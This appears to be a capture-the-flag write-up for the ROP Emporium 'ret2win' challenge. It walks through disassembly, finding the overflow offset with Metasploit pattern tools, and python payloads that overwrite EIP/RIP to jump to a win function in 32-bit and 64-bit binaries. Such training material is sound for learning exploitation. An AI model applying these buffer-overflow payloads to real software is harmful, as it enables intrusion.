> For the complete documentation index, see [llms.txt](https://jtnydv.gitbook.io/wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jtnydv.gitbook.io/wiki/write-ups/rop-emporium/ret2win.md).

# ret2win

### 32 bit

All the functions available to us.

![](/files/-LqARBaeuiVIyNZeX-ya)

Interesting ones that pop out are `main`, `pwnme`, and `ret2win`. Lets go ahead and disassemble these and see what are we working with.

{% code title="pwnme.disassembly" %}

```c
pwndbg> disassemble pwnme 
Dump of assembler code for function pwnme:
   0x080485f6 <+0>:     push   ebp
   0x080485f7 <+1>:     mov    ebp,esp
   0x080485f9 <+3>:     sub    esp,0x28
   0x080485fc <+6>:     sub    esp,0x4
   0x080485ff <+9>:     push   0x20
   0x08048601 <+11>:    push   0x0
   0x08048603 <+13>:    lea    eax,[ebp-0x28]
   0x08048606 <+16>:    push   eax
   0x08048607 <+17>:    call   0x8048460 <memset@plt>
   0x0804860c <+22>:    add    esp,0x10
   0x0804860f <+25>:    sub    esp,0xc
   0x08048612 <+28>:    push   0x804873c
   0x08048617 <+33>:    call   0x8048420 <puts@plt>
   0x0804861c <+38>:    add    esp,0x10
   0x0804861f <+41>:    sub    esp,0xc
   0x08048622 <+44>:    push   0x80487bc
   0x08048627 <+49>:    call   0x8048420 <puts@plt>
   0x0804862c <+54>:    add    esp,0x10
   0x0804862f <+57>:    sub    esp,0xc
   0x08048632 <+60>:    push   0x8048821
   0x08048637 <+65>:    call   0x8048400 <printf@plt>
   0x0804863c <+70>:    add    esp,0x10
   0x0804863f <+73>:    mov    eax,ds:0x804a060
   0x08048644 <+78>:    sub    esp,0x4
   0x08048647 <+81>:    push   eax
   0x08048648 <+82>:    push   0x32 -> Size of fgets input
   0x0804864a <+84>:    lea    eax,[ebp-0x28]
   0x0804864d <+87>:    push   eax -> Address being loaded to
   0x0804864e <+88>:    call   0x8048410 <fgets@plt>
   0x08048653 <+93>:    add    esp,0x10
   0x08048656 <+96>:    nop
   0x08048657 <+97>:    leave  
   0x08048658 <+98>:    ret    
End of assembler dump.

```

{% endcode %}

So we have a `fgets` which takes 50 bytes of input and tries to store the string into a 32 bytes buffer as described by the challenge text.

```bash
$ ./ret2win32 
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> 
```

{% code title="ret2win.disassembly" %}

```c
pwndbg> disassemble ret2win 
Dump of assembler code for function ret2win:
   0x08048659 <+0>:     push   ebp
   0x0804865a <+1>:     mov    ebp,esp
   0x0804865c <+3>:     sub    esp,0x8
   0x0804865f <+6>:     sub    esp,0xc
   0x08048662 <+9>:     push   0x8048824
   0x08048667 <+14>:    call   0x8048400 <printf@plt>
   0x0804866c <+19>:    add    esp,0x10
   0x0804866f <+22>:    sub    esp,0xc
   0x08048672 <+25>:    push   0x8048841
   ## Prints flag to the screen
   0x08048677 <+30>:    call   0x8048430 <system@plt>
   0x0804867c <+35>:    add    esp,0x10
   0x0804867f <+38>:    nop
   0x08048680 <+39>:    leave  
   0x08048681 <+40>:    ret    
End of assembler dump.
pwndbg> 
```

{% endcode %}

So now our task is to use the overflowed buffer to call the `ret2win` function and get the flag.

Now we'll try and find the offset which will give us the precise control of the `EIP` register.

```bash
$ msf-pattern_create -l 100 > pattern.string; cat pattern.string | ./ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Segmentation fault
```

So now we have a segmentation fault, and we can check the failed `EIP` using `dmesg` logs and find the offset value.

```bash
$ sudo dmesg | tail -2
[ 3369.503758] ret2win32[8889]: segfault at 35624134 ip 0000000035624134 sp 00000000ffdd6570 error 14 in libc-2.29.so[f7d14000+1d000]
[ 3369.503766] Code: Bad RIP value.

# Our bad EIP value is 35624134

$ msf-pattern_offset -q 0x35624134
[*] Exact match at offset 44

# Let's confirm our control of IP

$ python -c 'print "A"*44 + "B"*4' | ./ret2win32                                                                                                       
ret2win by ROP Emporium                                                                                                                                
32bits                                                                                                                                                 
                                                                                                                                                       
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;                                                        
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Segmentation fault

$ sudo dmesg | tail -2
[ 3573.424132] ret2win32[8937]: segfault at 42424242 ip 0000000042424242 sp 00000000ff9f67b0 error 14 in libc-2.29.so[f7d86000+1d000]
[ 3573.424144] Code: Bad RIP value.
```

Now we have the desired control of `EIP`. Now we'll check the address of the function to jump to, to get our precious flag.

```bash
$ readelf -s ./ret2win32 | grep ret2win
    37: 00000000     0 FILE    LOCAL  DEFAULT  ABS ret2win.c
    39: 08048659    41 FUNC    LOCAL  DEFAULT   14 ret2win
```

Now we can construct our exploit and point our `EIP` to this address to get the flag.

```bash
$ python -c 'import struct; print "A"*44 + struct.pack("<I", int("0x08048659", 16))' > exploit.payload; cat exploit.payload | ./ret2win32 
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault
```

### 64 bit

The functions and their functionality remains the same throughout the binaries so we'll jump right to finding the offset to control our `RIP`.

```bash
$ msf-pattern_create -l 100 > pattern.string
```

We can not use the same trick of checking the `dmesg` for messed up `EIP` as in case of 64 binaries the result is at `RSP` and its value is not visible in `dmesg`.

![](/files/-LqAVg0sr6lRPIV3w0fC)

So value of our `RSP` is `0x3562413462413362` and the offset value is

```bash
$ msf-pattern_offset -q 0x3562413462413362
[*] Exact match at offset 40
```

So let's confirm our `RIP` control.

```bash
$ python -c 'print "A"*40 + "B"*8' > trial.payload
```

![](/files/-LqAW5t56u4FNQJYthn0)

So now we have our control and we can now find the address of the desired function and point the `RIP` to that address and get our flag.

```bash
$ readelf -s  ./ret2win | grep ret2win
    37: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS ret2win.c
    39: 0000000000400811    32 FUNC    LOCAL  DEFAULT   14 ret2win
```

As you can see, there are plenty of `NULL` bytes which should break our exploit, but they won't as we are using `fgets`, which only terminates input when it gets a `newline or an EOF`. So `NULL` bytes are no problems in this case. Lets construct our final payload and get the flag.

```bash
$ python -c 'from pwn import *; print "A"*40 + p64(0x400811)' > exploit.payload
$ cat exploit.payload | ./ret2win 
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault
```
